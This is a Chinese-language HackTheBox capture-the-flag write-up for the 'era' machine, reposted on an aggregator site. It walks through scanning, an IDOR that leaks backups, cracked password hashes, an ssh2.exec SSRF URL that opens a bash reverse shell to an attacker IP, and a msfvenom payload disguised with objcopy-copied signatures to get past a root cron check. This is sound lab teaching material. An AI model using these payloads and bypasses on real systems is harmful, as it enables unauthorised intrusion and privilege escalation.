HTB賽季8靶場 - era

在這里插入圖片描述

nmap掃描

└─$ nmap -p- --min-rate 1000 -T4 10.129.137.201 -oA nmapfullscan                                   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-27 21:19 EDT
Warning: 10.129.137.201 giving up on port because retransmission cap hit (6).
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 30.47% done; ETC: 21:21 (0:01:13 remaining)
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 50.06% done; ETC: 21:21 (0:00:58 remaining)
Nmap scan report for 10.129.137.201
Host is up (0.43s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  httpNmap done: 1 IP address (1 host up) scanned in 157.41 seconds

ffuf掃描vhost

ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://era.htb/ -H 'Host: FUZZ.era.htb'

![[Pasted image 20250728101147.png]]

![[Pasted image 20250728101240.png]]

dirsearch掃描頁面

dirsearch -u http://file.era.htb/

![[Pasted image 20250728102347.png]]

注冊賬號并登錄
![[Pasted image 20250728102402.png]]

IDOR竊取備份

http://file.era.htb/download.php?id=54&dl=true
http://file.era.htb/download.php?id=150&dl=true

![[Pasted image 20250728102941.png]]

我們爬取sqlite3DB文件
![[Pasted image 20250728141506.png]]

離線破解密碼

$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm:america
$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.:mustang

我們用備份數據庫里面的內容無法成功登陸,故修改問題答案
![[Pasted image 20250728155554.png]]

SSH2 + SSRF = RCE

登錄admin_ef01cab31aa
![[Pasted image 20250728155620.png]]

我們分析源碼可知fopen處存在漏洞,只要我們是管理員賬戶,我們便可以成功控制fopen函數。
![[Pasted image 20250728161833.png]]

![[Pasted image 20250728161933.png]]

那么我們可以嘗試使用賬號密碼來執行一下命令了。

http://file.era.htb/download.php?id=6785&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-i+>%26+/dev/tcp/10.10.16.3/9001+0>%261;

![[Pasted image 20250728162004.png]]
![[Pasted image 20250728162017.png]]

objcopy sh文件自檢繞過

上linpeas.sh搜查
![[Pasted image 20250728163723.png]]

上pspy64監控定時任務
![[Pasted image 20250728164135.png]]

我們且對monitor文件可寫,我們生成shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.3 LPORT=9001 -f elf -o reverse.elf

傳輸到受害機器,然后我們提取monitor的特征碼(因為直接替換貌似不執行monitor,懷疑存在檢測)

#提取monitor的特征碼
objcopy --dump-section .text_sig=sig monitor#添加monitor的特征碼到惡意文件
objcopy --add-section .text_sig=sig reverse.elf

開啟msf監聽,然后復制bypass后的惡意文件到monitor

cp reverse.elf monitor

最終我們會獲取一個shell
![[Pasted image 20250728174208.png]]

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/91028.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/91028.shtml
英文地址,請注明出處:http://en.pswp.cn/web/91028.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Bug貓學習史#1:面向對象

在Java編程中,掌握幾個核心概念對深入學習至關重要:類屬性建議采用包裝類以提升靈活性;建造者模式中this關鍵字能有效簡化對象構建過程;static關鍵字涉及類的加載機制;接口默認使用public修飾符并支持默認方法實現&…

優測推出HarmonyOS全場景測試服務,解鎖分布式場景應用卓越品質!

隨著HarmonyOS NEXT“純血鴻蒙”的全面商用,生態正以前所未有的速度重構終端操作系統格局。對于APP廠商而言,應用測試需要從單一設備思維向場景化服務驗證轉變。優測云服務平臺正式推出 HarmonyOS全場景測試解決方案,針對鴻蒙系統提供功能測試…

二層環路與三層環路:原理、區別與解決方案全解析

網絡環路是網絡運維中最常見也最具破壞性的問題之一。本文將深入淺出地解析二層環路和三層環路的核心概念,通過對比分析幫助讀者全面理解這兩種環路的形成機制、危害表現及解決方案。一、環路問題概述 1.1 什么是網絡環路 網絡環路是指數據包在網絡中循環傳輸無法到…

Python爬蟲庫性能與選型實戰指南:從需求到落地的全鏈路解析

目錄 一、性能基準測試:用數據打破認知誤區 1. 靜態頁面采集:效率與資源的終極對決 2. 動態頁面渲染:速度與真實性的博弈 二、場景化選型矩陣:從需求到工具的精準映射 1. 小規模快速原型開發(≤1000頁)…

uni-app switch(開關選擇器) BUG

uni-app switch(開關選擇器) BUGBUG:uni-app中的switch的checked屬性并不能根據根據綁定的動態數據進行調整switch開關選擇器(BUG)switch開關選擇器(BUG) - 我的使用用途switch開關選擇器&#…

微服務架構中的資源調度與負載均衡實踐

更多云服務器知識,盡在hostol.com在今天這個快速發展的數字化時代,微服務架構已經成為了現代企業系統開發的主流。隨著技術的不斷進步,企業的業務需求也在不斷地變化,傳統的單體架構已經無法滿足日益復雜的應用需求。微服務架構&a…

Rust Web 全棧開發(十一):WebAssembly 嘗鮮

Rust Web 全棧開發(十一):WebAssembly 嘗鮮Rust Web 全棧開發(十一):WebAssembly 嘗鮮什么是 WebAssembly?安裝 wasm-pack 和 cargo-generate使用項目模板構建項目生成網頁安裝依賴項在 www 中使…

Thymeleaf實戰:SpringBoot用戶管理系統

Thymeleaf 示例代碼下面是完整代碼示例,幫助理解 Thymeleaf 語法和后端代碼的配合:1. 用戶實體類 (User.java)/*** 用戶實體類*/ public class User {private Long id; // 用戶IDprivate String name; // 用戶名private String email; /…

mysql查找數據庫表中某幾個連續的編號中中斷的編號

在MySQL中查找表中連續編號中斷的位置,可以通過以下幾種方法實現: 基于范圍的查詢方法 通過自連接查詢找出ID序列中的斷點,例如查找1-100范圍內缺失的ID: SELECT a.id + 1 AS start, MIN(b.id) - 1 AS end FROM

《劍指offer》-數據結構篇-樹

題目重建二叉樹樹的子結構二叉樹的鏡像從上往下打印二叉樹(層序遍歷)把二叉樹打印成多行按之字形順序打印二叉樹二叉搜索樹的第k個結點(中序遍歷)二叉搜索樹的后序遍歷序列(后序遍歷)二叉樹中和為某一值的路…

系統定時任務擴展開發指南

適用場景當系統內置定時任務類型無法滿足業務需求時,開發者可通過本教程快速掌握自定義定時任務的擴展方法。本指南以"定時檢測服務"為例,演示完整開發流程。我想添加一個定時任務 ,而這里沒有我需要的,我怎么來添加比如我想添加一個定時檢測用…

R語言簡介(附電子書資料)

概述 R語言是一種專為統計計算和數據分析設計的編程語言,自誕生以來,憑借其強大的統計分析能力和豐富的可視化功能,成為數據科學、統計學、機器學習等領域的重要工具。電子書資料:https://pan.quark.cn/s/23050825f2be 一、核心特…

關于前端的性能優化

性能優化主要涵蓋了以下四個方面: (tip:僅代表個人總結,如有不當,還希望看到的大佬多多指示) 減少網絡請求:合并文件、使用 CDN、啟用緩存。 優化資源加載:代碼分割、懶加載、圖片壓縮。 提升渲染性能:減少重繪回流、防抖節流、使用 Web Worker。 監控和迭代:定期使用工…

用 FFmpeg 把視頻輸出為圖片序列

用 FFmpeg 把視頻輸出為圖片序列 【推薦】輸出為PNG圖片序列(無損) mkdir "D:\Downloads\Recording" ffmpeg -i "C:\Users\33589\Videos\1.mp4" "D:\Downloads\Recording\Recording_%05d.png" 參數含義-i輸入視頻路徑&am…

【linux】高可用集群Keepalived

Keepalived簡介Keepalived 是一個基于 VRRP(虛擬路由冗余協議)的高可用解決方案,主要用于實現 Linux 服務器的負載均衡和故障轉移。它通過檢測服務器狀態并自動切換服務,確保系統在單點故障時仍能保持可用性Keeplived安裝啟用及配…

如何檢查服務器數據盤是否掛載成功?

在服務器配置過程中,確保數據盤正確掛載是非常重要的。如果數據盤未掛載成功,您可能無法訪問數據盤上的存儲空間。以下是檢查Linux服務器中數據盤是否掛載成功的詳細步驟,以及如何解決掛載問題。1. 檢查數據盤是否掛載成功1.1 使用 df -h 查看…

機器學習概述與 KNN 算法詳解

機器學習概述與 KNN 算法詳解引言在當今數字化時代,機器學習作為人工智能的核心技術,正深刻改變著我們的生活與工作方式。從日常的智能推薦到復雜的醫療診斷,機器學習技術的應用無處不在。本文將從機器學習的基本概念出發,闡述其核…

Java EE前端技術編程腳本語言JavaScript

-CoderOilStation(程序員編程助手科技股份責任有限公司)Java EE前端技術編程腳本語言JavaScript低代碼編程技術編寫少量的代碼規則。JavaScript腳本編程語言具體細節配置方式編程。前端技術過渡web3.0企業數字化。Java Service Page (JSP) JavaEE jdk6.5 發布企業應用版本Java研…

Docker+Kubernetes 實戰:數據模型的彈性伸縮與高可用部署方案

在生產環境中,數據模型的部署面臨雙重挑戰:一方面要應對流量波動(如電商大促期間預測接口調用量激增 10 倍),另一方面需保證服務零中斷(金融風控模型 downtime 每增加 1 分鐘可能導致數十萬元損失)。 本文基于實際項目經驗,詳細講解如何通過 Docker 容器化與 Kubernet…

vue3【組件封裝】頭像裁剪 S-avatar.vue

最終效果 技術要點 圖片裁剪 安裝依賴 vue-cropper npm install vue-croppernext專用于vue3 項目的圖片裁剪&#xff0c;詳細使用參考官方文檔 頁面使用 import "vue-cropper/dist/index.css"; import { VueCropper } from "vue-cropper";<vue-crop…